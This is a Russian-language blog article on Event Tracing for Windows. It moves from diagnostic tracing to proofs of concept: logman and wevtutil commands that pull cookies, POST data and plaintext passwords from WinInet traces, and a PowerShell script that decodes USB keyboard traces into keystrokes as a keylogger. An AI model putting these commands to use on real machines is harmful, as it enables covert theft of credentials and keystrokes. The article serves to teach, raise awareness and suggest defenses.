Event Tracing for Windows на стороне зла. Но это не точно
В предыдущих статьях про сниффер на PowerShell и сбор данных о загрузке с удаленного сервера я уже немного писал про возможности ETW (Event Tracing for Windows). Сегодня я хочу подробнее рассказать про эту технологию.
Заодно покажу на примере разбора HTTPS и создания кейлоггера на PowerShell, как ее можно использовать во благо. Или не совсем во благо.
Event Tracing for Windows собирает и передает сообщения от системных компонентов Windows и сторонних приложений. Появился он еще во времена Windows 2000, но если в те времена системных провайдеров было несколько десятков, то сейчас их счет идет уже на сотни. Сообщения удобно использовать для диагностики ошибок и решения проблем с производительностью софта.
Часть системных провайдеров по умолчанию уже пишет в журнал событий Windows, а часть включается отдельно. Так что даже если вы не знаете про ETW, наверняка им пользуетесь. Познакомиться с журналами и включить часть из них при необходимости можно в стандартном просмотре событий в журналах приложений и служб. Немного о журнале и о работе с ним можно почитать в статье «Вертим логи как хотим ― анализ журналов в системах Windows».
Посмотреть список существующих провайдеров, которые только и рады поведать нам, что с ними происходит, можно командой logman query providers.
Провайдеры ETW.
Посмотреть список провайдеров, которые подключены к определенному процессу Windows (а значит, и узнать что-то про него), можно при помощи команды logman query providers -pid
Список провайдеров, подключенных к обычному блокноту.
Подписку на события определенного провайдера или на трассировку можно включить через PowerShell при помощи командлета New-NetEventSession. А можно и вовсе накликать мышкой по пути «Управление компьютером» — «Производительность» — «Группы сборщиков данных». Здесь в сеансах отслеживания событий видно, какие трассировки запущены, и при желании можно создать свой сборщик.
Запущенные трассировки.
Просматривать результат можно при помощи утилит и наборов утилит типа Microsoft Message Analyzer, Windows Performance Toolkit или вовсе командлетом PowerShell Get-WinEvent.
С особенностями работы ETW я рекомендую ознакомиться в документации Microsoft, начать можно с раздела About Event Tracing. Также могу порекомендовать неплохой материал «Изучаем ETW и извлекаем профиты».
Поскольку ETW работает на уровне ядра, то его отличает скорость передачи сообщений и отсутствие необходимости устанавливать какие-либо драйверы или инжекты в приложения. Обычно ETW используют для диагностики производительности и проблем с приложениями. Например, в статье «Ускорение загрузки Windows for fun and profit» анализируются факторы, влияющие на замедление загрузки, а в материале 24-core CPU and I can«t move my mouse — причины торможения Windows на рядовых операциях. Приведу пример — анализ запуска командлетов PowerShell.
Предположим, что вы каким-то образом (например, через аудит запуска процессов) обнаружили, что на компьютере запускаются невнятные процессы и скрипты PowerShell. Одной из методик будет использование ETW для анализа их активности. Например, посмотрим на провайдера PowerShell. Включим трассировку командой:
logman start pstrace -p Microsoft-Windows-PowerShell -o c:\temp\pstrace.etl -ets
Теперь подождем, пока непонятные скрипты отработают, остановим трассировку командой:
logman stop pstrace -ets
Теперь можно посмотреть трассировку, например, через Microsoft Message Analyzer.
Подозрительный clean.ps1 явно что-то ищет и удаляет.
Если выбрать нужную строку, то в нижней панели будет расширенная информация о событии.
А, это же скрипт для очистки кэша 1С!
В этот раз все оказалось банально. Но в более сложных случаях можно запустить трассировку и для проверки других активностей:
- сетевая активность;
- разрешение DNS;
- обращение к диску;
- работа с памятью;
- активность WMI;
- и многое другое.
Таким образом, ETW может помочь поймать зловреда и разобраться в работе приложений. Местами это информативнее, чем привычный Process Monitor. Но помимо дел добрых, у механизма есть и «темная» сторона.
Разумеется, и молотком можно убить, и ружьем спасти. Моральную оценку механизмов делать я, конечно же, не буду, но в любом случае возможности открываются интересные.
Приведу пару примеров в качестве Proof-of-Concept
В этом примере я покажу, как легко узнать, что же ищет пользователь в интернете, даже по HTTPS. Посмотреть можно и без PowerShell — только мышка, только хардкор. В нашей задаче будет пользователь, будет Windows, Internet Explorer и журнал событий.
Начнем с того, что включим журнал событий Wininet. Делается это так: открываем журнал событий, на вкладке «Вид» включаем отображение аналитических и отладочных журналов.
Добавляем отображение нужных журналов.
После этого включаем UsageLog в контекстном меню, и этого достаточно для получения нужной информации. Попользуемся IE и посмотрим лог:
Журнал WinInet.
Собственно, в журнале видны заголовки и непосредственный запрос в поисковую систему.
Помимо заголовков при помощи журнала можно вытащить и cookie, а заодно посмотреть POST-запросы — например, для вытаскивания учетных данных. Методика работает на любых приложениях, использующих wininet.dll для работы с интернетом. К примеру, браузер Edge.
То же самое запросто реализуется и на PowerShell, и даже на cmd. Приведу пример реализации последним.
Для начала создадим трассировку:
logman start CookieStealer -p Microsoft-Windows-WinInet -o c:\temp\cookiesteal.etl -ets
Теперь поработаем в браузере, проверим почту. Трассировку можно после этого остановить командой:
logman stop CookieStealer -ets
Простейший анализ можно провести при помощи командной утилиты wevtutil.exe. Например, для просмотра POST-запросов команда будет такой:
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
Можно даже наудачу попробовать поискать по слову password и получить результат.
Пароли открытым текстом. Очень напрягает.
Стоит отметить, что антивирус при этом молчал. Действительно, ведь это обычный процесс трассировки.
Разумеется, события WinInet можно использовать и для диагностики неполадок вроде «почему этот сайт не открывается и что вообще происходит». Но тем не менее, возможности довольно интересны. Перейду к еще более закрученному примеру.
В Windows есть два интересных провайдера ETW:
-
Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) — работает с USB 2.0.
-
Microsoft-Windows-USB-USBPORT (C88A4EF5-D048–4013–9408-E04B7DB2814A) — работает с USB 3.0.
С их помощью можно получить данные HID, которые передает такое устройство USB, как клавиатура или мышь. Данные захватываются в сыром виде, но благодаря спецификации HID их вполне можно привести к читаемому виду.
Для начала трассировки достаточно выполнить следующие команды:
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
А данные можно получить командлетом PowerShell:
$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}
Приведу пример простого скрипта, который читает данные трассировки и преображает их в читаемые значения. Преобразование делается только для английских букв и исключительно в заглавные.
$source = "C:\temp\trace.etl"
$destination= "C:\temp\Output.txt"
$tracetime = "10"
logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets
sleep $TraceTime
logman stop usbtrace -ets
$Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"}
$HID = Foreach ($I in $Input) {(‘{0:x}’ -f ($I.properties.value[5]))}
$Data=switch ($HID)
{
4 {"A"}
5 {"B"}
6 {"C"}
7 {"D"}
8 {"E"}
9 {"F"}
A {"G"}
B {"H"}
C {"I"}
D {"J"}
E {"K"}
F {"L"}
10 {"M"}
11 {"N"}
12 {"O"}
13 {"P"}
14 {"Q"}
15 {"R"}
16 {"S"}
17 {"T"}
18 {"U"}
19 {"V"}
1A {"W"}
1B {"X"}
1C {"Y"}
1D {"Z"}
}
$Data | out-file "$Destination"
get-content "$Destination"
del "$source"
del "$Destination"
При запуске скрипт включает трассировку на 10 секунд, затем показывает результат.
Результат работы скрипта.
Конечно же, разобравшись с данными HID, можно доработать скрипт до полноценного кейлоггера, который записывал бы данные с клавиатуры и мыши. Стоит отметить и ограничения этого механизма:
- работает только с USB, а PS\2 (как порой встречается в ноутбуках) не поддерживается;
- поддержка USB 3.0 заявлена только в Windows 8 и выше;
- требуются права администратора (UAC).
Зато никаких драйверов и перехватчиков. Ну, и конечно, помимо зловредного использования такой кейлоггер может помочь в диагностике проблем с клавиатурой. Теоретически.
Даже встроенные механизмы в руках злодея могут натворить бед. Методы защиты остаются те же самые: блокировать исполняемые файлы не из системных каталогов, не работать под пользователем с правами администратора, а если и работать — то хотя бы не отключать UAC. И, конечно же, встроенные браузеры Windows по части безопасности вызывают вопросы.
